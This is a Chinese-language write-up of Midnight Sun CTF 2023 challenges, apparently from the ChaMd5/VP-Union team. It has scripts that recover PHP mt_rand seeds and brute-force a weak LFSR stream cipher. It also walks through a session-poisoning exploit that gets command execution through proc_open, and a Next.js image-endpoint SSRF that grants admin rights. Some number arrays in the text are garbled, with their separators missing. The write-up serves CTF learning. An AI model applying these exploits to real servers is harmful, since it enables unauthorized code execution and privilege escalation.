    echo json_encode(["samples" => $samples]);
    exit();
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Mt. Random</title>
</head>
<body>
    <h1>Hiking Guide</h1>
    <p>This mountain is boring, I'm going to sample alot of seeds!</p>
    <a href="?generate_samples=1">Get a new sample</a>
</body>
</html>

大意是将flag编码,然后设置随机种子,接着在设定的范围内产生随机值。

提示是Maybe we can recover these constants,因此可以恢复min、max、gap_start、gap_end

import requests

samples = []
for i in range(100):
    try:
        res = requests.get("http://mtrandom-1.play.hfsc.tf:51237/?generate_samples=1").json()["samples"]
        samples.append(res)
    except Exception as e:
        pass
print(samples)

拿了一百组数据同non_continuous_sample方法一起分析,发现minmax很好确定,是1256

而当随机数大于gap_start的时候,会加上gap_end-gap_start的值,这里把它称为gap的值。

通过观察数据,可以发现按顺序递增排列的时候,数据在某个阶段会存在一个较大的递增增量,那么这个增量就应该是gap的值了,而增量前的数据,就是gap_start的值。

from collections import Counter

samples = [[118326150183146020799120915026892076019889142387668],
           [228451582445246244233292283024158177233244741772462158248],
           [17399219207995922321842173180207219812182231798159246227202],
           [151439301422875197151730392119752092122817915099],
           [156248141832482201711919115624618314841917133842201889187],
           [31302249030321956318331174902241866319559186323818327],
           [15115024021915023732263615185219240253263270253237923285],
           [872539622325316563197212871592239684197631888416521022682],
           [9721716159217169170262219715659161812617023581169231180229],
           [187186162225186662281538918712225162321532282932667516571],
           [611593711893116721362253715990167312249018919737250],
           [150232220196232658820817515057196220902088861906534231189],
           [921706318317025511422092219183631694211841692551964838],
           [24315025016715018518322715824329167250206227183120618596223254],
           [817898417756472247821384891807264235180759992189],
           [1657566256752542301961931657525666441962303442541519455],
           [22525324924253152926520622518324249235659215823515220115872],
           [218204179256204122358932218725617918389235881831221739190],
           [2523423782234882322720725219822372522723268252888924035],
           [46208181209208748448193461912091811534884218153741984121],
           [57190221118324319015057220221904119024319741183183247159],
           [1225681525622112157412194581941512156942211511782],
           [84211170742112062111636084246741701591632111801592069069214],
           [220171582261725120314622021522615855142038155251928931],
           [34942252259431248633334185225225606324871603120618397],
           [17815717297157213292181511782529717221021829972102132815690],
           [5619621517219622218383965695172215183183141222210195237],
           [65172216217180978171652326222115819730151801638210],
           [3538202138242230207113519312021572072304115724219123524],
           [160183222111831996144239160202112222294461562291997190208],
           [2111818442181401527523921118742848075152205804022919788],
           [8199214233992028729241812052332147529877075202214192253],
           [72321775232218221881517225352177691882280692186725237],
           [82237191742372424916792827417419771672492137724151229207],
           [20717425351746925617220020720435251991722562211996945191243],
           [49642102046420934521549157204210453479420949207172],
           [29383624838247204152251296024836691522041966924723984174],
           [22423921817223920119524465224261722182072441956920720117584153],
           [7813157313218516523478182731521616552421621868171235],
           [90229214622292552161159019262214256161522082562518460229],
           [46231231662311796521224746152166231221265481217919215792],
           [70801157802269224267024257112542492248254226198237233],
           [2521661618416621520923172252248416115623120923156215195164225],
           [6326228712618917884163168712284981782494918924015216],
           [34210464210228178237345964474781537422816316961],
           [2483819896382252162382248996198207232169120722521337200],
           [6265218222651972294326232222185043229965019718217443],
           [2061732349417346155203169206253942341602031551801604617111239],
           [6687416868233250165155618816874616525046623317819988],
           [2533425625434167697847253224254256154786918815416790166185],
           [9524120615241522361941739522315206210194236422105225636187],
           [23117357441731621762532412315144576825317695681622422406],
           [19911554212022252012191999042155532012251865320281215222],
           [167568222856223993970167232228824439992514422321241227],
           [3721921738219512001758937263821721817520024421851226207154],
           [56521911252382773205565912191257327181253823296],
           [200466357468522932912002145763683222917468859216849],
           [38511651514925255383886511637255252137498418454],
           [253206183102064721211207253153101834621121234464722367168],
           [2351757051751902272492452358957019424922714194190723486],
           [604021220402117121619360232202144216713844211150255232],
           [160541952215415021216391160237221195716321256715015621149],
           [8922416522522454184157889792251654915718472495458155201],
           [311554249155222273421231175494270342279702224341192],
           [774169141375825017477218916312505821731371763184],
           [23028216182876234602232301971821622660234159226769323150],
           [10235671622357221117984103916267158179211233158724241250],
           [44244643724424912204844218376450220130502493822619],
           [6851167195150532825268216191677928532779502081224],
           [122831552878881529112641553821528824282782262451],
           [25531236373122622472214255254372362567222417625622644368],
           [2072331506233232515522020787615022955511522923274239216],
           [771982055719851188198617722557205152198188741525182202209],
           [1951514922315122022418322019516622349331832242283322069417],
           [2161618865161491728161216176658883817221983498996207],
           [2219033155190168174231932215415533213231174992131682501594],
           [73458723459923521157342387852123539859940241224],
           [24124051892402557562332417018952256751672252553177154],
           [241599216159370231632443169221523702122153667224],
           [51456562456388204745139626517920488541796318722368],
           [4867118867284477748531881168478462168221620470],
           [153229969422923751201731531759496208201515820823760185189],
           [185223181892231851862531841852248918116525318624916518522716263],
           [24924027702407248173112491170278517324885857348259],
           [19223216520523295391636719271205165991633910999573233166],
           [801982092131984147158218802172132092521584715252417318089],
           [23782153207821952191952192371420715324319521921224319516985163],
           [73458723459923521157342387852123539859940241224],
           [241214691211962132172412914615136214151922159151],
           [90372179137821822449690519121764244182164648221115846],
           [25674237801542335025618023419223315416319280237168256],
           [501758046175222822514450764680462518264462222208462],
           [19019722955197831381781902295522932811384328317181],
           [83210219322102022031532368329322192421532032182422025723978],
           [512223517922472241647251741792352341642242022344791219220],
           [7251454125120822633217218414567332268367208253498],
           [2151621852541621622016334215525418518663201244186162165212256],
           [26167192177167538220622026207177192742068218074532173166],
           [20924887152248739521061209230152876621095396673160184236],
           [15116924696169234573934151179962461783957611782342388073]]

def get_max(array):
    array.sort()
    max_difference = 0
    split_index = 0

    for i in range(1, len(array)):
        difference = array[i] - array[i - 1]
        if difference > max_difference:
            max_difference = difference
            split_index = i

    smaller_array = array[:split_index]

    smaller_array_max = max(smaller_array)
    return smaller_array_max

max_list = []
for i in samples:
    max_list.append(get_max(i))

counter = Counter(max_list)
most_common_count = counter.most_common(1)[0][1]

most_common_max = 0
for item, count in counter.items():
    if count == most_common_count and item > most_common_max:
        most_common_max = item

print(most_common_max)

将这组数递增排序,接着求数组中的两两差值,按照最大差值将数组分开,然后求较小的数组中的最大值,这个时候的最大值就是gap_start了。

但是由于随机性,可能有那么一两组数会在后面也会随机到较大增量的数,所以需要求这组数中出现次数最多的最大的数,结果是99

<?php
session_start();

$flag = "midnight{";

function flag_to_numbers($flag)
{
    $numbers = [];
    foreach (str_split($flag) as $char) {
        $numbers[] = ord($char);
    }
    return $numbers;
}

function non_continuous_sample($min, $max, $gap_start, $gap_end)
{
    $rand_num = mt_rand($min, $max - ($gap_end - $gap_start));
    if ($rand_num >= $gap_start) {
        $rand_num += ($gap_end - $gap_start);
    }
    return $rand_num;
}

if (!str_starts_with($flag, "midnight{")) {
    echo "Come back later.n";
    exit();
}
$res = [819623517896302415868];

$flag_numbers = flag_to_numbers($flag);

// Maybe we can recover these constants
$min = 1;
$max = 256;
$gap_start = 99;
for ($gap_end = 99; $gap_end < 256; $gap_end++) {
    for ($seed = 0; $seed < 10000; $seed++) {
        $samples = [];
        foreach ($flag_numbers as $number) {
            mt_srand($seed + $number);
            $samples[] = non_continuous_sample($min, $max, $gap_start, $gap_end);
        }
        echo "$gap_end: $gap_end,seed: $seedn";
        if ($samples === $res) {
            var_dump("fuckyou");
            var_dump($seed);
            exit();
        }
    }
}
?>

根据题目,开头必为**midnight{**,因此可以用来爆破。

已知gap_start99,而max256,故gap_end99256之间,而一开始的seed在10000内产生,这个爆破次数可以接受,结果是gap_end149seed7488

<?php
function non_continuous_sample($min, $max, $gap_start, $gap_end, $seed)
{
    srand($seed);
    $rand_num = rand($min, $max - ($gap_end - $gap_start));
    if ($rand_num >= $gap_start) {
        $rand_num += $gap_end - $gap_start;
    }
    return $rand_num;
}

$min = 1;
$max = 256;
$gap_start = 99;
$gap_end = 149;
$seed = 7488;
function flag_to_numbers($flag)
{
    $numbers = [];
    foreach (str_split($flag) as $char) {
        $numbers[] = ord($char);
    }
    return $numbers;
}

$table = "1234567890qwertyuiopasdfghjklzxcvbnm_{}";
$table = flag_to_numbers($table);
$samples = [81962351789630241586881781782351715824117917130651758];
$c = 0;
$flag = "";
echo("[</br>");
foreach ($samples as $n) {
    foreach ($table as $t) {
        $generated_sample = non_continuous_sample($min, $max, $gap_start, $gap_end, $seed + $t);
        if ($generated_sample === $n) {
            echo("$c =>['" . chr($t) . "'],</br>");
        }
    }
    $c += 1;
}
echo("]</br>");
?>

接下来就是继续爆破了,但是最后某些位置的字符会生成一样的随机结果,好在不多,而且flag是有意义的字符串,所以比较好辨认。

输出结果如下,前9位和最后1位是**midnight{}**,因此可以筛一下。

[
0 =>['f'],
0 =>['m'],
1 =>['i'],
2 =>['u'],
2 =>['d'],
3 =>['n'],
4 =>['i'],
5 =>['2'],
5 =>['g'],
6 =>['h'],
7 =>['t'],
8 =>['{'],
9 =>['f'],
9 =>['m'],
10 =>['1'],
11 =>['n'],
12 =>['u'],
12 =>['d'],
13 =>['_'],
14 =>['t'],
15 =>['h'],
16 =>['3'],
17 =>['_'],
18 =>['2'],
18 =>['g'],
19 =>['4'],
19 =>['q'],
19 =>['x'],
20 =>['p'],
21 =>['j'],
21 =>['}'],
]

最后依次打印。

<?php

$chars = [
    0 => ['m'],
    1 => ['i'],
    2 => ['d'],
    3 => ['n'],
    4 => ['i'],
    5 => ['g'],
    6 => ['h'],
    7 => ['t'],
    8 => ['{'],
    9 => ['f''m'],
    10 => ['1'],
    11 => ['n'],
    12 => ['u''d'],
    13 => ['_'],
    14 => ['t'],
    15 => ['h'],
    16 => ['3'],
    17 => ['_'],
    18 => ['2''g'],
    19 => ['4''q''x'],
    20 => ['p'],
    21 => ['}']
];

function generate_combinations($chars, $index = 0, $current = "")
{
    if ($index >= count($chars)) {
        echo $current . PHP_EOL . "</br>";
        return;
    }

    foreach ($chars[$index] as $char) {
        generate_combinations($chars, $index + 1, $current . $char);
    }
}

generate_combinations($chars);

?>

输出结果如下。

midnight{f1nu_th3_24p}
midnight{f1nu_th3_2qp}
midnight{f1nu_th3_2xp}
midnight{f1nu_th3_g4p}
midnight{f1nu_th3_gqp}
midnight{f1nu_th3_gxp}
midnight{f1nd_th3_24p}
midnight{f1nd_th3_2qp}
midnight{f1nd_th3_2xp}
midnight{f1nd_th3_g4p}
midnight{f1nd_th3_gqp}
midnight{f1nd_th3_gxp}
midnight{m1nu_th3_24p}
midnight{m1nu_th3_2qp}
midnight{m1nu_th3_2xp}
midnight{m1nu_th3_g4p}
midnight{m1nu_th3_gqp}
midnight{m1nu_th3_gxp}
midnight{m1nd_th3_24p}
midnight{m1nd_th3_2qp}
midnight{m1nd_th3_2xp}
midnight{m1nd_th3_g4p}
midnight{m1nd_th3_gqp}
midnight{m1nd_th3_gxp}

比较像的是**midnight{f1nd_th3_g4p}midnight{m1nd_th3_g4p}**,交了一下,第二个对了。

ikea

Midnight Sun CTF 2023 Writeup by VP-Union

ikea

fact check

非预期了

拖ida64能看到flag

Midnight Sun CTF 2023 Writeup by VP-Union

image-20230408194800501
midnight{s0me0ne_sh0u1d_f4cT_cH3ck_tH3s3_AIs}

dancing bits

题目

import os
import zlib
from flask import Flask, request, jsonify
from secrets import token_bytes

app = Flask(__name__)

# The secret key and nonce for the DancingBits stream cipher
SECRET_KEY = int.from_bytes(token_bytes(4), 'big')
NONCE = int.from_bytes(token_bytes(4), 'big')

FLAG = ""

def lfsr(state):
    bit = ((state >> 31) ^ (state >> 21) ^ (state >> 1) ^ state) & 1
    return (state << 1) | bit

def rotl(x, k):
    return ((x << k) | (x >> (8 - k))) & 0xff

def swap(x):
    return ((x & 0x0f) << 4) | ((x & 0xf0) >> 4)

def dancingbits_encrypt(plaintext, key, nonce):
    state = (key << 32) | nonce
    ciphertext = bytearray()

    for byte in plaintext:
        state = lfsr(state)
        ks_byte = (state >> 24) & 0xff
        c = byte ^ ks_byte
        c = rotl(c, 3)
        c = swap(c)
        ciphertext.append(c)

    return ciphertext

def dancingbits_decrypt(ciphertext, key, nonce):
    state = (key << 32) | nonce
    plaintext = bytearray()

    for byte in ciphertext:
        state = lfsr(state)
        ks_byte = (state >> 24) & 0xff
        c = swap(byte)
        c = rotl(c, -3)
        p = c ^ ks_byte
        plaintext.append(p)

    return plaintext

@app.route('/encrypted_flag', methods=['GET'])
def encrypted_flag():
    compressed_flag = zlib.compress(FLAG.encode('utf-8'))
    encrypted_flag = dancingbits_encrypt(compressed_flag, SECRET_KEY, NONCE)
    return encrypted_flag

@app.route('/decrypt_oracle', methods=['POST'])
def decrypt_oracle():
    encrypted_data = request.data

    if len(encrypted_data) < 1:
        return jsonify(status=500, message="Error: Data too short")


    try:
        decrypted_data = dancingbits_decrypt(encrypted_data, SECRET_KEY, NONCE)
        decompressed_data = zlib.decompress(decrypted_data)

        for i in range(len(decompressed_data.decode('utf-8'))):
            if decompressed_data.decode('utf-8')[i] == FLAG[i]:
                return jsonify(status=500, message="Error: CTF character at index found: " + str(i))
        return jsonify(status=200, message="Success")
    except Exception as e:
        return jsonify(status=500, message="Error")

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

题解

题目中decrypt_oracle()rotl(c, -3)写法有误,导致无法利用web端的decrypt_oracle。

但通过flag已知前缀midnight{可获得nonce的18bit数据,又由分析可知此系统中决定lfsr输出的因素只有32位的nonce,爆破所有可能nonce下密文解密的结果,若符合格式则得解。

import zlib, requests,sys
from secrets import token_bytes


def lfsr(state):
    bit = ((state >> 31) ^ (state >> 21) ^ (state >> 1) ^ state) & 1  # mask已知
    return (state << 1) | bit


def rotl(x, k):
    if k > 0:
        return ((x << k) | (x >> (8 - k))) & 0xff  # 高k位移到低k位
    if k < 0:
        return ((x >> -k) | (x << (8 + k))) & 0xff


def swap(x):
    return ((x & 0x0f) << 4) | ((x & 0xf0) >> 4)  # 前后4位交换


def find_max_same(a, b):
    for i in range(len(a)):
        if a[:i] != b[:i]:
            return a[:i - 1]


def dancingbits(cs, key, nonce):
    state = (key << 32) | nonce
    plain = []
    for c in cs:
        state = lfsr(state)
        ks_byte = (state >> 24) & 0xff
        c = swap(c)
        c = rotl(c, -3)
        m = c ^ ks_byte
        plain.append(m)
    return bytes(plain)


url = 'http://dancingbits-1.play.hfsc.tf:23105'
req = requests.get(url + '/encrypted_flag')
encrypted_flag = req.content
print(encrypted_flag)

FLAG = "midnight{"
c1 = zlib.compress(FLAG.encode('utf-8'))  # flag = zlib.decompress(compressed_flag)
FLAG = "midnight{asdfho234_dakjfbk2_0HB_test}"
c2 = zlib.compress(FLAG.encode('utf-8'))  # flag = zlib.decompress(compressed_flag)

known = find_max_same(c1, c2)
print(len(known))

NONCE = 0
SECRET_KEY = int.from_bytes(token_bytes(4), 'big')  # 无关紧要,随机取
for i in range(len(known)):
    c = encrypted_flag[i]
    c = swap(c)
    c = rotl(c, -3)
    ks_byte = c ^ known[i]
    if i == 0:
        NONCE = ks_byte
        print('ks =', bin(ks_byte)[2:].zfill(8))
    else:
        NONCE = (NONCE << 1) + (ks_byte & 1)

tmp = 32 - 19  # 实际测试测试,发现是 最高位未知+中间18位+低13位未知
NONCE1 = NONCE << tmp  # 0+xxx+x
for i in range(1 << tmp):
    NONCE1 += 1

    tmp_compressed_flag = dancingbits(encrypted_flag, SECRET_KEY, NONCE1)
    try:
        tmp_flag = zlib.decompress(tmp_compressed_flag)
    except:
        continue
    if b'midnight{' in tmp_flag:
        print(tmp_flag)
        sys.exit(1)

NONCE2 = (NONCE << tmp)+(1<<31)  # 1+xxx+x
for i in range(1 << tmp):
    NONCE2 += 1
    tmp_compressed_flag = dancingbits(encrypted_flag, SECRET_KEY, NONCE2)
    try:
        tmp_flag = zlib.decompress(tmp_compressed_flag)
    except:
        continue
    if b'midnight{' in tmp_flag:
        print(tmp_flag)
        sys.exit(1)
# midnight{th3_h0t_n3w_str3am_c1pher}

WEB

matchmaker

属于是非预期了,官方忘把日志给删了,日志里面找flag就行了

Midnight Sun CTF 2023 Writeup by VP-Union

findianajones

题目一开始只给了cmd和path两个参数,猜测cmd可以传入被执行的php函数,path则是其参数,想到传入?cmd=readfile&path=index.php来读取源代码:

Midnight Sun CTF 2023 Writeup by VP-Union

image-20230410112748766
<?php
ini_set("allow_url_fopen"0);
ini_set("allow_url_include"0);
session_start();

if(isset($_GET['cmd'])){
    $_GET['cmd'](strval($_GET['path'])); # One argument for babies
    echo "Still no shell? ".$_SESSION['attempts']." tries and counting :-)<br>n";

    $_SESSION['attempts'] = (isset($_SESSION['attempts']) ? $_SESSION['attempts']+1 : $_SESSION['attempts']=1);

    if(isset($_GET['hiddenschmidden'])){
        $descriptorspec = array(
            0 => array("pipe""r"),
            1 => array("pipe""w")
        );
        $proc = proc_open(['chmod','+x',strval($_GET['path'])], $descriptorspec, $pipes);
        proc_close($proc);
        $proc = proc_open([strval($_GET['path'])], $descriptorspec, $pipes2); #No argument for haxors
        echo @stream_get_contents($pipes2[1]);
        proc_close($proc);
    }
    die();
}

发现当传入hiddenschmidden是,path会被拿去给proc_open执行,执行ls命令后发现目录下面存在flag_dispenser文件,但需要传入GIVEMEFLAG参数。执行phpinfo()后发现session文件存储在/var/www/sessions中,可以在$_GET['cmd'](strval($_GET['path']));利用session_decode函数来污染session文件。payload如下:

<?php
session_start();
$exp = '#!/bin/bash
./flag_dispenser GIVEMEFLAG
'
;

$_SESSION[$exp] = '';
echo session_encode();


Midnight Sun CTF 2023 Writeup by VP-Union


将脚本输出的值url编码后%23%21%2Fbin%2Fbash%0A%2E%2Fflag%5Fdispenser%20GIVEMEFLAG%0A%7Cs%3A0%3A%22%22%3B提交给path就行

Midnight Sun CTF 2023 Writeup by VP-Union


成功污染session文件。

Midnight Sun CTF 2023 Writeup by VP-Union


Midnight Sun CTF 2023 Writeup by VP-Union


midnight{j00_f0und_m3_but_was_th4t_wut_uR_l00kinG_4?}

mouldylocks

观察js页面发现有一个设置admin的api /api/admin/setAdmin, 通过调用 /_next/image?url=/api/admin/setAdmin?username=crypt0n&w=64&q=100 把自己设置成admin后访问flag地址。

Midnight Sun CTF 2023 Writeup by VP-Union

image-20230410124801111

midnight{y3t_@n0th3r_un3xp3ted_mIddl3ware_problem???}

MISC

sanity

一个直接的签到题,将题目给的shell命令放到终端执行就出flag了

whistle

本题是考了一个G-CODE

我们找到一个在线网站进行解析,发现有许多的重复项目,我们手动修一下可以大致看出来两个东西

Midnight Sun CTF 2023 Writeup by VP-Union



Midnight Sun CTF 2023 Writeup by VP-Union

前面很大一部分都是对redacted的重复,尝试了几次将其输入进flag中发现都不对,故我们将其理解为干扰项,也就是router_hacking?才是真的flag值,我们故flag包裹上midnight{}即可

flag:midnight{router_hacking?}


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]



Midnight Sun CTF 2023 Writeup by VP-Union

原文始发于微信公众号(ChaMd5安全团队):Midnight Sun CTF 2023 Writeup by VP-Union

版权声明:admin 发表于 2023年4月11日 上午8:04。
转载请注明:Midnight Sun CTF 2023 Writeup by VP-Union | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...